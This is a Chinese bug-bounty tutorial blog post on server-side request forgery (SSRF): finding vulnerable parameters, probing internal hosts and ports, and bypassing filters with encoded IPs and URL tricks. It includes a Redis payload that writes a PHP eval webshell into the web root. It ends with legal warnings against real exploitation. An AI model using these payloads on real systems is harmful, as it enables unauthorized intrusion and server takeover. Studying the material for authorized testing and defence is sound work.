【SRC漏洞挖掘系列】第08期:SSRF与内网探测—— 借刀杀人的“内网特工”
2026/5/24 18:47:52 网站建设 项目流程

上期回顾:我们冒充隔壁老王(越权访问),偷看了他的隐私。本期我们要更进一步——利用外网服务器,攻打厂商的内网

这就是安全圈的“借刀杀人”——SSRF (Server-Side Request Forgery,服务端请求伪造)。🔪


一、什么是 SSRF?(代购的阴谋)

想象一下:

  1. 你是个保镖(防火墙),守在大门口,严禁外人进入别墅内网。

  2. 主人(Web服务器)很傻,对谁都信任。

  3. 我对主人说:“帮我代购一下http://192.168.1.1这个地址的东西呗?”

  4. 主人听话,跑到内网把192.168.1.1的内容拿了回来给我。

结果:我隔着墙,知道了别墅里有什么(内网探测),甚至能控制家里的设备(攻击Redis/MySQL)。


二、哪里能找到 SSRF?(实战入口)

凡是需要服务器帮你去加载/抓取/下载资源的地方,都是 SSRF 的重灾区。

功能点

参数示例

图片加载

?url=http://image.com/1.jpg

文件下载

?file=http://evil.com/shell.txt

网址翻译

?translate=http://google.com

API 回调

?callback_url=http://my-server.com


三、初级玩法:探测内网拓扑

目标:证明我能跟内网说话。

1. 探测存活主机

把参数改成内网 IP:

http

GET /api/fetch?url=http://127.0.0.1 GET /api/fetch?url=http://192.168.1.1
  • 现象:如果页面加载变慢、超时或返回不同内容,说明服务器成功访问了内网。

  • SRC 评级:这通常是中危,因为你证明了网络边界被打破。

2. 端口扫描(Banner 识别)

SSRF 可以用来扫端口。

http

GET /api/fetch?url=http://127.0.0.1:6379 (Redis) GET /api/fetch?url=http://127.0.0.1:3306 (MySQL)
  • 判断依据

    • 如果返回ERR Invalid Protocol,说明 6379 端口开着(Redis 响应了)。

    • 如果返回 MySQL 的乱码字符,说明 3306 开着。


四、高级玩法:攻击 Redis(GetShell 直通车)

这是 SSRF 里最值钱的利用方式。很多厂商内网都跑着未授权 Redis。

攻击原理

  1. 利用 SSRF 向 Redis 发送HTTP 请求

  2. 虽然 Redis 看不懂 HTTP,但 SSRF 强行把命令塞进去。

  3. 利用 Redis 的CONFIG SET命令,把Webshell​ 写入 Web 目录。

Payload 构造(简化版)

http

/?url=http://127.0.0.1:6379/ set x "\n\n<?php @eval($_POST['cmd']);?>\n\n" config set dir /var/www/html config set dbfilename shell.php save

结果:服务器根目录出现shell.php,直接 GetShell。💥


五、绕过技巧:WAF 的“视力障碍”

厂商通常会拦截127.0.0.1。我们需要“变脸”。

1. 域名欺骗

  • 短地址http://tinyurl.com/xxxx(跳转回 127.0.0.1)

  • 私有域名http://localhost(有些 WAF 只拦 IP,不拦域名)

  • IPv6http://[::1]

2. 进制转换(老鸟必备)

127.0.0.1转换成整数:

  • 十进制2130706433

  • 八进制0177.0.0.1

  • 十六进制0x7f.0.0.1

实战效果

http://2130706433依然指向本地,但 WAF 一脸懵逼。

3. URL 解析差异

利用@符号:

http://target.com@127.0.0.1

  • 浏览器/服务器可能解析为访问127.0.0.1,而 WAF 以为你在访问target.com


六、SRC 报告中的“升维打击”

漏洞描述

厂商反应

评级

能访问 127.0.0.1

“哦,知道了。”

中危

能扫描内网端口

“赶紧修!”

高危

能攻击 Redis/MySQL

“救命啊!奖金加倍!”

严重 (Critical)

报告话术

“由于 SSRF 漏洞,攻击者可以绕过网络隔离,对内网 Redis 服务进行未授权访问,进而写入 Webshell 控制服务器,导致全网沦陷。”


七、互动与思考

💬 互动话题

大家在挖 SSRF 时,遇到过最奇葩的“内网地址”是什么?是169.254.169.254(云元数据)还是docker.for.mac.localhost


⚠️ 法律红线警示

  1. 严禁利用 SSRF 攻击真实的内网 Redis、MySQL 或 Redis 写入 Shell。证明能连通即可,切勿执行命令。

  2. 严禁尝试读取169.254.169.254(云厂商元数据),这可能导致你获取云服务器最高权限(Instance Role),属于严重违法行为。

  3. 严禁进行内网端口扫描(尤其是大规模扫描),这会导致目标服务器负载过高,被视为 DoS 攻击。

  4. 测试原则

    • 仅证明127.0.0.1localhost可访问。

    • 使用sleep(5)time指令证明延迟即可。

    • 不要尝试写入任何文件。

      SSRF 是一把打开内网大门的钥匙,但这扇门后的宝藏,只看不拿,才是白帽子的修养。​ 🛡️

下一期,我们将进入“XXE与反序列化”—— 当XML和Java开始‘吃’代码”。想知道怎么用一个 XML 文件读取服务器密码吗?敬请期待!🎩

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询